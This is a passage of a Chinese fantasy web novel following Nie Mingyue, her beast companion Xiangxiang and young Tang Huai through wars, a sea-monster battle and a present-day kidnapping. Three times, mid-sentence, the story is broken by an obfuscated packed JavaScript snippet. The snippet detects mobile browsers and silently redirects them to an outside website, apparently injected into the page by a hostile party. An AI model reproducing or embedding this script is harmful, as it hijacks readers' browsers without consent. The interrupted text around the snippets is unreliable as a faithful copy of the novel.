“到时我可送你一件法宝,能消你体内的炎冰之气,让你不再受燃魂冻魄之苦。”他方才看到了她于明堂境内的画面,那地方既是她强大能力的依仗,也是禁锢她不得解脱的永久折磨。 聂明月第一次遇到有人能知她灵台内,正遭遇着日夜不息的筋骨洗练,这是她中妖毒后才出现的情况。最初的痛楚出现时,导致她失了神智。只有向北走到无路可走、站在小渔村的海边时,才稍微减弱痛感。 她应下了。 撑伞人和雪一起消失了。阴冥司传承下来的习惯,不道别,不说下次再见。 她把将军冰凉的尸体放回原地,以明堂之力唤走他的生魂,抱着小唐槐缓步离去。 直到她与明堂消失,时间才继续向前,战场上的人仿佛只一愣神间。 将军的尸体仍在,他身旁的炮火残骸依旧燃烧。领军的首领敬仰对手的刚烈强悍,命手下为将军收尸,送他回以死报效的故国。 方才的妖异鬼魅,没有被任何人提及。赤目红瞳的女子,仿佛只是满天彩霞中的一个幻觉,从未来过。 - 他们回到小渔村时,丽娘和阿金惊喜不已。 丽娘将村子打整得焕然一新,如同她整理自己的发钗盒、首饰架、衣服柜那样,各有归处,各自光鲜。 村里多了一条商街,有附近村里的人来物物交换。 她带着村民搭了一个简陋的码头,村民把自家房子改做客舍与食铺,做着路过商船的生意。 她自己开了个小铺子,买了辆驴车,每天早上阿金驾车为镇上的大户人家送刚打捞上来的鱼鲜。 丽娘就是那种,无论在什么环境下,都能好好生活的人呀。 “小花,我以为你们不会回来了!”她紧紧抱着她。 聂明月第一次被人如此亲密地拥住,那怀抱带着淡淡的香气,陌生又温暖。 “姐姐不叫小花,姐姐叫聂明月!”唐槐大声说。 “好!我多叫你几声就习惯了!明月!明月!”她笑得犹如一朵盛开的牡丹花。 - 那天傍晚,聂明月独自站在海边。北方冬天的海罩着一层灰蒙蒙的雾,落日藏于雾中,极为不舍地缓缓沉向大海。 当那轮月亮升起来的时候,天空飘起了片片雪花,就像记忆中的小黄花,最终消散于海与天之间。 1900年的最后一天,就这样过去了。 29. 明日天涯 人间行走指南: 【日出月升,人间有明堂。】 - “唐槐和香香出事了!”随即“砰”地一声闷响——孟夏忘了自己还身处石壁中,一时情急站起来,不慎撞到了头。 聂明月将她从暗门中扶出来时,尤远志刚刚赶到。聂明月让他先去察看昏迷的女居士:“我见她没有大碍,被不干净的东西魇了。你把她叫醒后,她如果什么都不知道的话,你就让她回家休息。” 镇海寺一天都没开门,如果再让人发现里面有状况,是更大的麻烦。 孟夏没有受外伤,此时最疼的地方是方才被撞的头顶。她靠着石座侧面,虚弱地坐到地上。 “怪我,唐槐好几次跟我提到那件事,我都没放在心上。”她内疚地说。 - 昨天傍晚,律师打电话来说,公司交接流程基本走完,就差一份当年《有明堂》杂志版权归属唐青山的文件。她拉着唐槐回办公室,在电脑里找到了电子版,律师却说需要原件。 于是两人在地下室的仓库找了一夜,最后是唐槐爬到最里面的货架底部,从夹缝里扒拉出一个不慎掉落的纸箱,翻出了文件。 那时他满头蛛网,脸也脏了,孟夏笑他像个花脸猫。 他突然说,他又听到了猫叫。 “现在是春天,夜里猫叫很正常。”孟夏毫不在意,他这两天提到很多次了。 “我也不确定是不是猫……不只在夜里,白天也能听到。刚才,那声音好像……”他红着脸,“……好像在嘲笑我……” 孟夏想,大概是香香在笑话他,但唐槐毕竟是个人类,这都让他听到了,香香也太不小心了。 “没事的,你这几天太累了。现在文件找到了,下午明月也回来了,你就可以回学校啦。”她安慰他,心里却想着:“反正你走了香香就回镇海寺了,也不会再听到了。” 他们出来时,已是上午八点多。两人商量吃个早饭再回去,却在门口遇到了唐槐的二叔——唐首义。 唐首义刚从车上下来,正好看到他灰头土脸的样子,板着脸说:“这几天也不知道你在忙什么,电话都不接。你看你现在像什么样子!” 这下,就连孟夏也听到了香香的笑声…… 唐首义让唐槐跟他明天一起回京城,又说专程来这里找他,是上午有一个重要的会面,需要他参加。 “你爷爷把海泽的产业交给了你,我替你约了一个老朋友,他正好在海泽,以后可以关照你。”唐首义虽然严厉,但对唐槐还是关心的:“你这样怎么见人?跟我去酒店收拾一下!” 唐槐知道二叔是为了帮他,但是又不能带着孟夏去。于是两人约定,完事后回公司,再一起去机场接聂明月。 这是唐家的私事,孟夏确实不能厚着脸皮跟着唐槐,想着反正有香香陪着,便自己去附近花店买了聂明月喜欢的花,回办公室等他。 - 中午12点,已经过了他们约好的时间,孟夏给唐槐打了个电话,却关机了。估计是昨晚一直在地下室,手机没充电。 这时,她突然听到镇海寺传来的一声兽吼,香香不是跟着唐槐吗,怎么会在镇海寺? 她正觉得事情不对,紧接着又传来一声——当初唐青山买下这栋小楼,就是因为离镇海寺近,他们可以互相关照。这是她第一次听到香香的求助,于是直接冲出门外,直奔镇海寺。 到了以后,孟夏也发现了女居士,她身上罩着一层黑雾,那是阴鬼的气息。她立即隐去身形,悄悄靠近第二殿。 一个穿着红色皮外套、黑色短裙的年轻女孩背对着她站在院中,手里拿着一把小巧的手枪。那枪明显经过改装,是个法器。 女孩的对面,正是唐槐。他身旁还有一个六七岁的小姑娘。虽然没见过,但孟夏却认识她: 香香化形了!香香怎么会在这个时候化形?难怪这几天控制不住自己…… 那女孩说:“我以为是多了不起的神兽呢。原来还是个小朋友!逃回石像里又有什么用?还不是被我抓到了!” 唐槐将香香护在身后:“皮千秋!你骗我来镇海寺,这才是你的目的?”香香的胳膊受了伤,估计是被那法器打碎石像后受伤才现形的。 “今天要不是看在干爹的面子上,我都懒得理你!”皮千秋边说边转着手枪耍:“我跟你说什么来着?你身上不干净,你还不信!” 孟夏这回看得仔细,那把枪颜色青黑,枪口处雕着一个古怪的兽头,若扣动扳机,子弹就会像是从兽口出喷出一般,狰狞逼人。 她知道那武器既然能让香香受皮肉伤,就能让她直接毙命,于是小心潜行,慢慢走近。 就当她悬掌于皮千秋的后颈时,突然察觉身后有冷风袭来,她掌至中途,忽地现出身形,凌空跃起间收掌虚晃出拳,抬腿至下而上撩向来人……这是她独有的身法,从未有人速度能快得过她。 果然,她险险避过了对方的暗算,也将其逼退至院门口。 袭击她的男人穿着黑色正装,手上拿着一把闪着寒光的匕首,见一招未能伤她,眼神更为凌厉,立即朝她冲了过来。 他的身法迅疾,短匕如乱云横空,在她面前划出密不透风的杀意,气象骇人。 孟夏知最佳时机已错失,她腹背受敌,尤其忌惮那把诡异的手枪。胆寒之际,她咬牙向后纵开,直接冲着刚转过身的皮千秋迎面撞去。 “香香,跑!”她大喊,借落地之势一滚,又一次匿了身形。皮千秋则被她撞倒在地,捂着胸口一时间站不起来。 香香反应极快,冲着第三殿就往里跑。奈何腿短,还没跨过门槛,黑衣男人就已经到了,直接将她拦腰抱住,香香竟没有还手,只顾着胡乱蹬腿挣扎。 孟夏被那人的刀意伤了肺腑,被香香提醒,想起当年聂明月为唐槐在将军像石座下设的暗室,捂着胸口悄悄潜了进去。 那把匕首也不知道是什么材质做的,杀意就能让她受内伤,她蜷于黑暗狭小的空间中,终于坚持不住,最后陷入了昏迷…… - “伤了香香的那个,姓皮?”聂明月问孟夏。孟夏点头:“我听的真切,唐槐叫她皮千秋。两人好像是认识的。” “她提到了她干爹?”聂明月想了想:“所以,唐首义是带着唐槐,与她和她干爹见的面。” 孟夏十分着急:“明月,马鹿子信里说的大麻烦,是不是就是他们?他们是冲着香香来的。香香怎么会在这个时候化形?都怪我!我要是跟着唐槐,他一定不会有事……” “没事。我知道去哪里找他们。”聂明月安抚着她,又扯出一丝冷笑:“滇西王和越东王,两家人居然敢北上来海泽。陆靖鸣是死了吗?连自家小辈都管不住了……” 她扶起孟夏:“我先送你回一号公馆。你放心,香香和唐槐不会有事。” 尤远志从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272977|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面回来,三人走到院内,他指着碎了一地的石头碎片问:“聂小姐,这石像怎么办?” 聂明月又笑了,这次好像也是笑不由心,居然似乎有点开心:“香香已化形,这里摆什么石像都不重要了。” 那曾陪她自海上而来的小兽,终于成功了。 她是真的开心。 - 她是在茫茫大海上醒来的。睁开眼时,是在黑夜里,她的身体漂浮在海水中,跟着海浪上上下下。 深夜的大海是沉默的,全身能控制的只有眼睛。她听不到声音,感觉不到温度,只有远处半轮月,一半在天上,一半在海里,泛着一圈银光,冷冷地看着她。 随着它慢慢升起,有薄云路过圆月,又被那冷意驱开,它仿佛在说:谁也无法阻挡我对你的凝视,你可知道,你在哪里? “我……在哪里……”原来不是月亮在问她,是她在问自己。 月亮不说话,没有人回答。 她累极了,身体无法动弹,“原来我什么都不做,也会这么累。”她想,又问:“我……是谁……” 她连闭眼的力气都没有了,半空中的盈盈圆月说:你别再睡了,你看着我!看着我就不累了…… 这时,她突然感觉到,胸膛传来暖意,有个暖呼呼的活物,正伏在她的身体上,为她捂着心口。 暖意很快就被冰冷的海水覆盖,她的身体有了知觉,但还是无法抬起头看那是个什么东西。 仿佛感受到了她的好奇,那活物踩过她的胸膛,踩上她的脖颈,爪子攀到她的下巴上——她眼前出现了一张圆圆的毛脸,睁着圆圆的眼睛,鼻子里呼出热热的气,离她越来越近…… 她终于可以不看月亮了,她看着它。它似乎也不知道发生了什么事,只顾着伸着舌头舔她的脸颊。 她们和大海一样沉默。 月亮越来越高,离她越来越远,就当她以为它终于放过了她时,才发现有了些微天光。 她想,她怎么会知道,头上的叫月亮,身下的叫大海,月亮走了就会有太阳,太阳来了就会天亮? 她知道这些,但却不知道自己是谁。 又不知道过了多久,月亮光华稍隐,却仍不肯离去。远方红日渐出,慢慢跃于海面之上。 它比月亮更霸道,催着她抬起了手臂。她渐渐恢复了控制身体的能力,又怕突然起身让那活物落到水里,于是双手托住它,再慢慢站了起来。 她立于海面之上,怀抱一只小兽,背后是浮光跃金的朝阳,头顶着不肯输于晨曦的月光,踩着海浪,朝前方的山影而去。 “对,就是那里。”月亮说,那就是你要去的地方。 “对,就是前方。”太阳说,那个世界在等你归去。 当她赤足踏上白沙,感受到脚底传来的实意。眼前有数十个营帐还在沉睡中,一个身材壮硕的中年将军正站在沙滩上,迎着大海挥舞着一把白刃钢刀,遒劲赤膊泛着坚硬的光芒。 将军停止了练刀,他见到了此生最奇异的画面—— 那个披着及踝白发的女孩,面色苍白,玄衣浸染,抱着一头小兽,赤红的双目正看向他…… 她的身后是茫茫大海,日光月华倾泻于她身上,为她一路护航——她从海上来。 - 因为看到她们第一眼的人是他,所以她们都有了名字。 她叫聂明月。 它叫聂香香。 30. 镇海神兽 人间行走指南: 【通常的妖是没有愿望的,只有吃喝的欲念,人类管那叫咸鱼。】 - 小唐槐回小渔村后,变得害怕见人,若有人大声说话,或者突然的声响,他会吓得脸色苍白。 他夜里经常从丽娘为他准备的房间跑出来,爬回自己的小渔船。 聂明月找到他的时候,他正蜷在窄小的船舱里,睡梦中还呓语不断。 “这孩子怎么了?”丽娘问。 聂明月看着他,说:“吓到了。” 他虽是唐槐,却不是那个战场上的唐槐,他是仅七岁的小唐槐。他曾一个人站在尸山血海中,哭着唤她回来…… - 那天早上后,聂明月不知道去了哪里,半夜回来再去渔船看唐槐一眼,又走了。 丽娘好奇,忍着不睡觉,跟着她到了石头山下。她采下了几块巨石,正在将其中一块凿成半人高的方形。 过了两天,聂明月把掏成空心的大石柜搬回了丽娘家的后院。石柜空出来的一面,对着聂明月房间的窗。 她拆下了窗户和半墙,让房间与柜子相连。 做完这些,她把小唐槐叫过来,石柜中已经铺好了新的被褥。 “你睡这里,我在,不怕了。”她说。她示范从内关上石门的方法,合上之后,里面就是一个隐秘的空间,又黑又窄,刚好适合唐槐。 那晚唐槐睡了个很香的觉。有姐姐在,他真的不害怕了。 - 两个月后,有商人从京城来,还带来了很多消息:北关失守后,朝廷跟外国签了个议和协议,赔了好多钱,还同意外国人进来修铁路、开公司,把几个地方都割让出去了。 现在的小渔村已经不是个村落了,被叫作北港。村民陆续搬往离码头稍远的内陆,把最好的位置留出来做买卖。 阿金提着茶壶,不敢相信自己的耳朵:“那我们归谁管?我们是外国人了吗?” 铺子里的众人大笑。又有一个商人说:“你们听说了吗?聂将军的尸首是被外国人送回去的!朝廷那些大官都没敢去吊唁。入殓那天,就几个亲兵送……” 同桌叹气:“聂将军家就剩一个老娘了……我还听老佛爷说——” 不甚一战,殊堪痛恨! 聂明月端茶的手一顿,把杯子重重放到了桌上。 她拉着唐槐,回家收拾行装。 丽娘泪眼汪汪:“怎么又要走?” 聂明月说:“回京,尽孝。”她以为他会受到公正的对待,她无法让那位慈祥的老夫人,在这种情况下,独自守着空宅。 丽娘说不出强留她的话:“那你带唐槐去也对。他机灵嘴巧,你一天说不了一句话,就让他帮你讨老夫人开心。” 唐槐听到自己也可以一起走,马上也收拾起东西。 丽娘叮嘱她:“我和阿金有能力过上好日子,你别担心我们。唐槐大了,该读书了。你记得把他送去学堂,读书认字,等有见识有本事了,就不会再吃苦了!” - 将军也跟她说过类似的话。那是她参加的第一场海防战,双方火药耗尽后陷入团战,她把将军护到身后,没控制住灵力,又现出了赤瞳。 他当下就让她立刻撤离回营。她虽不解,最终也服从了将军的命令。 对方退兵后,他带着伤回来,严厉地对她说:“我的女儿,是要读书明理、脑筋清楚的!我不需要你冲在前面,更不需要你用那力量保护我。” “你护得了我一个,护得住所有人吗?” “你看,今天没有你,我们也没让对方成功上岸!没有你,我还是活着回来了!” 他想起再也没能回来的那些人,神情恍惚了一下:“没有将军不想打胜仗。但没有哪个将军,永远能打胜仗。” “明月,战争是两个国家之间的博弈,它不是你一个人可以去解决的问题。” “不要让世人看到你和他们不一样……人对未知总是恐惧的。你就算赢了战场,也会被所有人绑上火场。因为他们会害怕,会恐惧,会觉得你不是他们的同类。” “记住,你是人!你只有学会了护住自己的秘密,才能像真正的兵一样上战场!” “身为将军,保卫国土是我的责任和使命;但身为父亲,我需得告诉你,你要找到自己该做的事,想明白要成为什么样的人,努力过上想要的人生。” 她抬起头,看着将军带伤的脸,问:“如何才能找到该做的事?如何才能过上想要的人生?我想要的人生,又是什么?” 将军的大手拍拍她的肩膀:“等你读过足够多的书,走过足够长的路,你就能知道,自己从哪里来,又将往哪里去……” - 将军死后第五年,有大臣上书为他正名。受局势压迫,朝廷不得不追封他为太子太保,赐谥号“节勇”,意指他文治武功,对他的抗敌而亡轻描淡写。 一个月后,老夫人以九十高寿无病离世。她凭着满门子孙忠烈报国的荣光,以一品诰命夫人的身份,受皇家宗祠供奉。 作为聂家仅剩的两个后辈,聂明月和唐槐将她的牌位送到城南皇寺中。 事毕后,她走到寺内正殿的石兽前,伸出手心,上面是她亲手雕的精致的小石兽:“香香,我不打仗了,跟我走吧。” 香香不喜欢战火的硝烟与血腥。十五年前,它被将军特意送回皇寺安养,这里常年香烛不断,它喜欢闻香火的味道,才得名“香香”。 石雕上附上了一层光芒,小兽开心地眨巴着圆眼。 唐槐睁大眼睛:“它是什么?”少年已经不是那个怕黑的孩子了,他出落得英伟俊朗,个子快和姐姐一般高。 聂明月说:“大家叫它,狻猊。” - 聂明月要启程回北港。她先去了将军府,给想走的下人发遣散钱,剩下的几位在府中照常打理。接着又去了趟书房,取走了将军少年习武时爱用的银色弓箭。 她时常听老夫人讲儿子的往事,说他16岁时就曾用这把弓,在淮南老家射死了山中的猛虎。在老夫人的记忆中,儿子永远是年轻时的模样。 她是一个人走的,这次没有带上唐槐。 唐槐即日登船,要和众多同龄的少爷们,远赴海外求学。这是他主动提的:“姐姐,你和那个撑伞的人有十年之约,等我学成回来,帮你实现!” 聂明月这五年时常孤身出门,一走就是好几个月。她每到年底才会回来,陪老夫人过完年,继续出发。 唐槐知道她是出去找妖了。她在外面跋山涉水、与妖怪较量,他却整日在将军府里读书习武、与贵族少爷们喝茶逛街…… 他迫不及待长大,想去外面的世界,想学到更多的知识,要做很多很多事,才能完成聂将军的心愿—— “偃武修文,马放南山。” - 聂明月到北港时,暴风雨已经肆虐半日了。海面波涛汹涌,水浪将码头的旗杆拍得摇摇欲坠。旗下的海面上,一艘渔船以飘摇之势,勉强回港。 “要出事!这不是寻常雨天!”老船家神色骇然,又有劫后余生的庆幸。幸好他行至一半,发现远处风中卷着黑云,带着倾天覆地之势而来,立马吩咐船夫回头。 靠岸的第一时间,他抛下船锚,两人匆匆下船。刚刚跑至码头商街,他的船就被大浪裹挟,如海中一片树叶,越来越远,直至桅杆断裂,沉入海底。 码头的人都在朝岸上跑,只有一个红发白脸三角眼的瘦老头站在雨中,挥着拂尘对着海面大叫:“来了!来了!”他的眼睛雪亮,满脸通红。 丽娘拉住他:“马鹿子,雨太大!你赶紧回来!”他中午喝酒的时候,还说雨天不留客,正好把店里的好酒喝一喝。谁知道酒劲一上来,就耍起了酒疯。 疾而烈的狂风将雨水吹成了细刃,割在雨中奔跑的人们脸上。更大一阵的风袭,将商街街口的酒铺掀翻了顶。 就当木顶马上要砸到浑然不觉的丽娘头上时,一只手扣住了顶檐,又缓缓将其平放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285230|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上。 丽娘感觉身后有异,转头一看,正是聂明月。 “明月!快!先帮我把老东西拉进去!”她浑身被浇透,雨势太大睁不开眼,还不知道自己的铺子没了盖。 就在她松手的一瞬间,马鹿子脱身疾驰,冲着海面上的黑云而去。聂明月跟上他到了码头栈道,他终于不跑了,大叫着:“妖!海妖来了!” 黑云迅速向岸移动,随着它的靠近,还来不及逃走的人们才看清楚,那不是云,那是一个从未见过的海怪。 那妖怪全身漆黑,身形盖住了半张天空,刺耳的怪叫声响彻云间。海水煮沸般翻动着,海妖所经之处,水浪上冲十余丈高,又狠狠拍打到海面上,激起更大的浪花。 - “那是……蜃!”马鹿子叫出它的名字,举起被雨水浸得分了岔的拂尘,嘴里念念有词,几句之后,他向蜃的方向扔出了一把符纸…… “老头彻底疯了!”有人看到他的怪异行径,忍不住摇头。 从聂明月的赤瞳中看,他每挥动一次拂尘,就在空中划出一道弧线,几次之后,那些线形成了一个巨型法阵,符纸散于空中,止而不落,就在法阵的各个阵眼上。也就是这阵,将蜃阻于三百米远的海面,无法前行。 刺耳声骤停,人们放下了捂住耳朵的双手,悄悄起身,看发生了什么事。 远处的黑云海妖不动了,在码头木栈桥上,有两个看不清脸的背影正立于风雨之中。 风停了,雨势缓了,海妖……又动了。 它张开横贯身体的大口,体型瞬间翻了一倍,每后退一寸,就排起一道海浪;每前行半尺,就掀起猛烈的狂风……它以身体一次次撞向法阵。 马鹿子喷出一口鲜血,又以血为墨,迅速在虚空中划动,他想及时补阵,奈何海妖已成功破出,继续向码头而来。 聂明月取出身后银弓,将箭架上弓弦,一道白光射向海面,进入海妖体内。虽然中箭,但对它没有任何伤害。 马鹿子见有人插手,来不及看,直接说:“没用,得进嘴里去割掉它的瑶柱,让它张不开嘴!” 那女人问:“瑶柱?” 马鹿子急了:“哎呀,你没看见这就是个蛤蜊怪吗!蛤蜊!蚬子!扇贝!”他开始胡言乱语:“不管你老家管它叫什么,那就是个蚌壳精!” 聂明月听懂了。她唤出香香,神兽狻猊如小山般现身海面,靠着桥口蹲下了身子。聂明月跳下栈桥,落在香香背上。 人们离得远,不知道发生了什么事,就见到有人拿弓射向海妖后,海上出现一团红云,那人乘云而去,消失在海妖的口中。 片刻之后,随着海妖惨烈的吼叫,一座神山从它口中撑起,在风雨中若隐若现,那山越来越高。海妖经不起神山的重压,上下两片硬壳被山峰掀翻,生生断了气。 香香:将军不让你使灵力!你不听话! 聂明月:没带刀割瑶柱,不然怎么办…… - 海神灭蜃妖的事迹迅速被传开,过了几天,有人在原商街酒铺废墟上,立了几块小小的石头。渐渐知道的人多了,路过时都要朝石头祈愿,还有人带着香烛和水果,置于石头前。 又过了一段时间,新的码头在石山下重建,人们选了更安全的地方落脚,一个新的北港出现了。 等再有人去原码头时,发现废弃商街的两头,各多了一座石像。 狻猊石兽在街口,遥望大海,犹如镇海神兽,威慑四方。 海神石像立于街尾,身形壮硕如英武将军,站在方形石座之上,正持长弓拉弦,箭头直指狻猊所望的方向。 新码头的大老板丽娘子说,这是当时杀死海妖的海神与神兽,她愿意出资,在商街原址建一座海神庙,希望在他们的保护下,北港再不受侵扰,山海皆宁。 人们给海神庙起了个名字,叫镇海寺。 - 香香问:为什么要为将军立神像? 聂明月:他当得,百姓供奉,香火延绵。 31. 南方以南 人间行走指南: 【人以身份论高低,妖以修为分大小。】 - 要说起被发现并记录的妖灵精怪,真是数不胜数。单就草木精灵而言,来自南方的占了大多数。 为何在神怪记载中,它们都是善良、温和的形象,很少有不好的评价呢? 除了草木本性不爱争斗外,大概是因为,它们都是听着人间故事长大的吧—— 今日森林公园闭园时间终于到了,游客陆续下山。一条青色藤蔓从树冠慢慢伸出来,绕着树干转了一圈,确定没有人类在附近,便化为一个身着绿裙的少女,嘴里念叨着“快快!要晚了……”,飞快地往山林深处跑去。 钟萼爷爷是武夷山中年纪最大的树精,自己也记不清多少岁了。他从未走出过这片森林,而每当有外出的妖怪回乡探亲时,就会把在人间的见闻与他说一遍。 时间久了,他的故事就多了,似乎永远也说不完。大家爱听他讲关于人类和山下的事情,每天晚上都会到他这里来,期待新的故事。 “明天有孩子要出山了,老规矩,今天先讲讲下山重点!”钟萼爷爷褐色的脸上有一块白斑,那是钟萼树精特有的家族印记。 他捋着胡子,开始了今晚的日常。 “要说这百年来的人间,最可怕的,就是明堂主人!”这是孩子们熟悉的开场白,每次都是这一句。 “她有一双利爪,专门在人间寻找作恶的妖。只要有妖怪做了害人的事,她就会直接把它撕成两半!” 这是白老三旅居太行山的时候,亲眼看见的。 “嘶……”虽然听了很多遍,孩子们还是倒吸一口凉气,仿佛看到了一个狰狞大妖,向他们伸出了魔爪。 “要是你只是因为懵懂淘气,做了恶作剧,她会让你背诵《人间行走指南》,考试合格了,才能在城市里生活。” 这是最近刚回来的黑麂家孙子说的。他还说监考的女妖特别凶,老是拧他耳朵。这个钟萼爷爷就不告诉他们啦,不然就会不想去学习了。 “啊……”背书考试也太可怕了吧!大家的反应果然在他意料之中。 “但是,如果你想好好在人间修行,她会出钱送你读书,或者给你找个合适的工作,还会定期回访解决你的困难!” 这是春节没能回来的银杏家姑娘,打电话告诉黑麂家孙子的,她因此从小学读到了大学毕业。现在大城市里上班,听说每个月能挣不少钱呢,就是总加班,春节都不能回来。 “哇——”大家张大了嘴,充满向往。 “钟萼爷爷,她也是妖怪吗?”香樟家最小的儿子问,他刚化形一百年,也是百年来唯一成精的树妖,离下山还早着呢。 “这个问题——”有点超出钟萼的知识面了,但是他很快就想到了应对之法:“你们知道上古神兽吗?” “知道!”“上古的妖怪和神仙一起消失了!”“我知道应龙!”“还有凤凰!”……大家七嘴八舌地说。 “是了。上古神兽和神一样,只存在于传说里。但是,一百二十年前,有上古神兽现世!”钟萼爷爷语气加重,提醒坐在后面偷偷走神的小锦鸡集中注意力。 “那只神兽,叫狻猊!在北方海边灭了大海妖!它像山一样高,凡脚踩之处,必腾起红云。它冲着海妖,张口喷出一团火气,那千年海妖就被它的气息瞬间化为了灰烬!” 这是很多妖回来都讲过的,所以细节格外多。他讲得活灵活现,大家听得专注入神。 “就是这个狻猊!”钟萼突然语气一变,压低了音量:“它是明堂主人的神宠!你们自己想,能养神兽的,是什么身份……” - 海泽市区一酒店高档餐厅包间。 传说中呼出气息就能将大妖怪灭为灰烬的上古神兽本兽,正晃着小短腿,美滋滋地吃着小蛋糕。 聂香香白嫩的小圆脸沾上了奶油,脸蛋红扑扑的,卷卷的刘海下,有一对清澈的大眼睛。她穿着新换上的带着花边的小裙子,左胳膊的袖子被高高挽起,子弹擦破的伤口已经被妥善处理,缠上了纱布。 皮千秋坐在她的对面,一脸不耐烦:带小孩真的是太讨厌了!她到底有多大的胃?吃了一下午了! - 皮千秋把香香捉回来,本来是想跟干爹邀功的。没想到干爹一听她说,这孩子是镇海寺那头狻猊,立马变了脸,把她狠狠骂了一顿。 她从未见过干爹发这么大的火,在她的印象中,干爹比亲爸还疼她。 “她是妖兽吗?她是神兽狻猊!”干爹气得重重拍桌,要换成别人,这一掌直接甩对方脸上:“这里是海泽,不是你家,更不是林州!” “你不就是怕聂明月吗?”皮千秋不服气:“她都消失五十年了,一听说她回来了,你就要来……干爹,咱们在南边抓妖兽,哪需要管它主子是谁!” “我怕?”干爹一愣,本想笑她的妄意猜测,但又仔细一想,他不想与聂明月为敌,从某种程度上来说,就是怕吧。 “收起你的坏脾气!”刚到海泽就惹祸,将他的计划全打乱。他已经开始后悔此行带上她了:“再有这样的事,我就把你送回去。” - 唐槐回到餐厅时,香香正好吃完蛋糕,见他来了,立马从餐椅上跳下来:“我吃饱啦!唐槐,咱们回家吧。” 陆叔叔冲皮千秋发了很大的脾气,又满是歉意地送他们去医院检查,给香香处理了伤口。香香说饿了,又把他们送到了酒店。 趁香香在餐厅吃东西,他就去楼上洗了个澡。他忘了带手机,又记不住孟夏的联系方式,但见到皮千秋瞒下了孟夏和那个黑衣男人的事,他也不想透露孟夏的身份。 孟夏说过,她是天下身法最快的妖,只要她愿意,太奶奶都追不上她。他亲眼见到了香香化形的全程,早已接受了这个全然陌生的妖怪世界,对孟夏的实力深信不疑。 他看着墙上挂钟,已经下午四点了。太奶奶应该已经从机场到家了,今天这个意外,让他错过了去机场接她,想到这里,他又气愤地瞪了皮千秋一眼。 陆叔叔说他亲自开车送他们回去,并且要跟太奶奶好好道歉。他拉着香香的手,没好气地对皮千秋说:“走吧!” 皮千秋不情愿地站起来,跟在他们后面。她堂堂皮家大小姐,从没做过跟人道歉的事。 聂明月?她也配? - 聂明月和孟夏到明月山庄时,计九崖正一脸戒备地看着小区门口一辆黑色轿车。 车里正是唐槐一行人,计九崖探到车内气息复杂,没有控制道闸杆放他们进去,正在僵持之际,见聂明月到了,两人都松了一口气。 “太奶奶,你回来啦!”唐槐喜出望外地从车窗探出了头,又知道自己失联大半天,一定让他们担心了,赶紧下车去找孟夏。 孟夏内伤并无大碍,所以让尤远志先回去上班了。她也表情严肃地盯着车,尽管看不到还有谁,但她能感觉到,带走香香的人就在其中。 驾驶座上的男人从车上下来,直接看向聂明月。 计九崖看到那人的瞬间,脸色微变:居然是他! 孟夏则好奇地打量来人,他大概35岁左右,身形颀长,穿着低调而考究。看起来温文儒雅,有种世家子弟的气度,长得也不错……刚想到这,孟夏赶紧打住,停止了脑补。 唐槐连忙介绍:“太奶奶,这是我二叔的朋友,陆叔叔……”他突然想起光顾着跟皮千秋斗法了,还不知道陆叔叔的全名。 - 聂明月看他的眼神中带着一丝冷意。现在在外面,她终究是忍住了跟他打一架的冲动。 他也知道是自己理亏,但也确实无奈,这不是他想要的久别重逢。此时只能苦笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295308|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她。 眼前的明明是她,又好像和以前完全不一样了。 她头发短了,一身户外装,背着个双肩包,利落又干练。和当年在上海女校读书的书卷气截然不同。 她依然不爱笑,以前她只是静静地坐在旁边,听他和唐大哥议时政、聊理想,一坐就是一整天,偶尔才说上几句话。 但两分钟前,她和同伴走过来的时候,是说笑着的;一分钟前,她在看到唐槐的时候,也是笑着的…… 只是在看到自己的那一瞬间,她眼中的戒备与冷漠,让那张来不及收起笑容的脸,变得有些陌生了。 他纵是心中百感交集,有很多话想与她说,最后还是只能说:“明月,好久不见……” “好久不见,陆靖鸣。” - 一号公馆二楼,聂明月的卧室内,她正把香香拉到跟前,从头到脚看了好几遍。 香香非常期待被她看到化形后的反应,又紧张又开心地配合着转身、抬手、踢腿…… 结果,聂明月用两只手,捏住了她的脸:“你要化形了为什么不告诉我?” 香香的脸蛋被她捏疼了,委屈地说:“你回来也不来找我,打了个招呼就跑了!你都不听我说话!” 小姑娘垂下眼帘,长长的睫毛上沾着泪花——哼,我看你还敢不敢说我了! 聂明月曾无数次想过香香化形后的样子,但是完全没想到居然会是个小孩。 她习惯与小兽香香相互依偎着的亲昵,面对小朋友香香,却不知道该怎么办了。 她有点无助,只好又抬起她受伤的胳膊缓解气氛,看到那肉肉的小手,终于想出一句夸奖的好话来:“又白又胖的……”小手呀—— 香香“哇”一声哭了出来。 